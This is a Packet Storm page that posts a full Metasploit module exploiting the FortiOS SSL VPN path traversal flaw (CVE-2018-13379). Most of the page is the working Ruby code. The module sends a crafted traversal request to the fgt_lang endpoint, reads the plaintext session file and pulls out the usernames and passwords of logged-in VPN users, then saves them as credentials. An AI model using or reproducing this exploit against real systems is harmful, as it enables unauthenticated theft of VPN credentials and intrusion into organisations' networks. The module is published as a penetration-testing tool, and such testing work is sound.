exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

FortiOS Path Traversal Credential Gatherer

FortiOS Path Traversal Credential Gatherer
Posted Aug 31, 2024
Authored by LyNx, Orange Tsai, Meh Chang, mekhalleh | Site metasploit.com

Fortinet FortiOS versions 5.4.6 to 5.4.12, 5.6.3 to 5.6.7 and 6.0.0 to 6.0.4 are vulnerable to a path traversal vulnerability within the SSL VPN web portal which allows unauthenticated attackers to download FortiOS system files through specially crafted HTTP requests. This Metasploit module exploits this vulnerability to read the usernames and passwords of users currently logged into the FortiOS SSL VPN, which are stored in plaintext in the "/dev/cmdb/sslvpn_websession" file on the VPN server.

tags | exploit, web
SHA-256 | 2149c48a70e99a03545bfa957dc701afcfcd46b50a3e6c27f2d9507f99388036

FortiOS Path Traversal Credential Gatherer

Change Mirror Download
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'FortiOS Path Traversal Credential Gatherer',
'Description' => %q{
Fortinet FortiOS versions 5.4.6 to 5.4.12, 5.6.3 to 5.6.7 and 6.0.0 to
6.0.4 are vulnerable to a path traversal vulnerability within the SSL VPN
web portal which allows unauthenticated attackers to download FortiOS system
files through specially crafted HTTP requests.

This module exploits this vulnerability to read the usernames and passwords
of users currently logged into the FortiOS SSL VPN, which are stored in
plaintext in the "/dev/cmdb/sslvpn_websession" file on the VPN server.
},
'References' => [
%w[CVE 2018-13379],
%w[EDB 47287],
%w[EDB 47288],
['URL', 'https://www.fortiguard.com/psirt/FG-IR-18-384'],
['URL', 'https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf'],
['URL', 'https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/']
],
'Author' => [
'Meh Chang', # discovery and PoC
'Orange Tsai', # discovery and PoC
'lynx (Carlos Vieira)', # initial module author from edb
'mekhalleh (RAMELLA Sébastien)' # Metasploit module author (Zeop Entreprise)
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
},
'DefaultOptions' => {
'RPORT' => 10_443,
'SSL' => true
}
)
)

register_options([
OptEnum.new('DUMP_FORMAT', [true, 'Dump format.', 'raw', %w[raw ascii]]),
OptBool.new('STORE_CRED', [false, 'Store credential into the database.', true]),
OptString.new('TARGETURI', [true, 'Base path', '/remote'])
])
end

def execute_request
payload = '/../../../..//////////dev/cmdb/sslvpn_websession'

uri = normalize_uri(target_uri.path, 'fgt_lang')
begin
response = send_request_cgi(
{
'method' => 'GET',
'uri' => uri,
'vars_get' => {
'lang' => payload
}
}
)
rescue StandardError => e
print_error(message(e.message.to_s))
return nil
end

unless response
print_error(message('No reply.'))
return nil
end

if response.code != 200
print_error(message('NOT vulnerable!'))
return nil
end

if response.body =~ /var fgt_lang/
print_good(message('Vulnerable!'))
report_vuln(
host: @ip_address,
name: name,
refs: references
)
return response.body if datastore['STORE_CRED'] == true
end

nil
end

def message(msg)
"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
end

def parse_config(chunk)
chunk = chunk.split("\x00").reject(&:empty?)

return if chunk[1].nil? || chunk[2].nil?

{
ip: @ip_address,
port: datastore['RPORT'],
service_name: @proto,
user: chunk[1],
password: chunk[2]
}
end

def report_creds(creds)
creds.each do |cred|
cred = cred.gsub('"', '').gsub(/[{}:]/, '').split(', ')
cred = cred.map do |h|
h1, h2 = h.split('=>')
{ h1 => h2 }
end
cred = cred.reduce(:merge)

cred = JSON.parse(cred.to_json)

next unless cred && (!cred['user'].blank? && !cred['password'].blank?)

service_data = {
address: cred['ip'],
port: cred['port'],
service_name: cred['service_name'],
protocol: 'tcp',
workspace_id: myworkspace_id
}

credential_data = {
origin_type: :service,
module_fullname: fullname,
username: cred['user'],
private_data: cred['password'],
private_type: :password
}.merge(service_data)

login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)

create_credential_login(login_data)
end
end

def run_host(ip)
@proto = (ssl ? 'https' : 'http')
@ip_address = ip

print_status(message('Trying to connect.'))
data = execute_request
if data.nil?
print_error(message('No data received.'))
return
end

loot_data = case datastore['DUMP_FORMAT']
when /ascii/
data.gsub(/[^[:print:]]/, '.')
else
data
end
loot_path = store_loot('', 'text/plain', @ip_address, loot_data, '', '')
print_good(message("File saved to #{loot_path}"))

return if data.length < 110

if data[73] == "\x01"
separator = data[72..73]
elsif data[105..109] == "\x00\x00\x00\x00\x01"
separator = data[104..109]
end
data = data.split(separator)

creds = []
data.each_with_index do |chunk, index|
next unless index.positive?

next if chunk[0] == "\x00" || !chunk[0].ascii_only?

creds << parse_config(chunk).to_s
end
creds = creds.uniq

return unless creds.length.positive?

print_good(message("#{creds.length} credential(s) found!"))
report_creds(creds)
end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close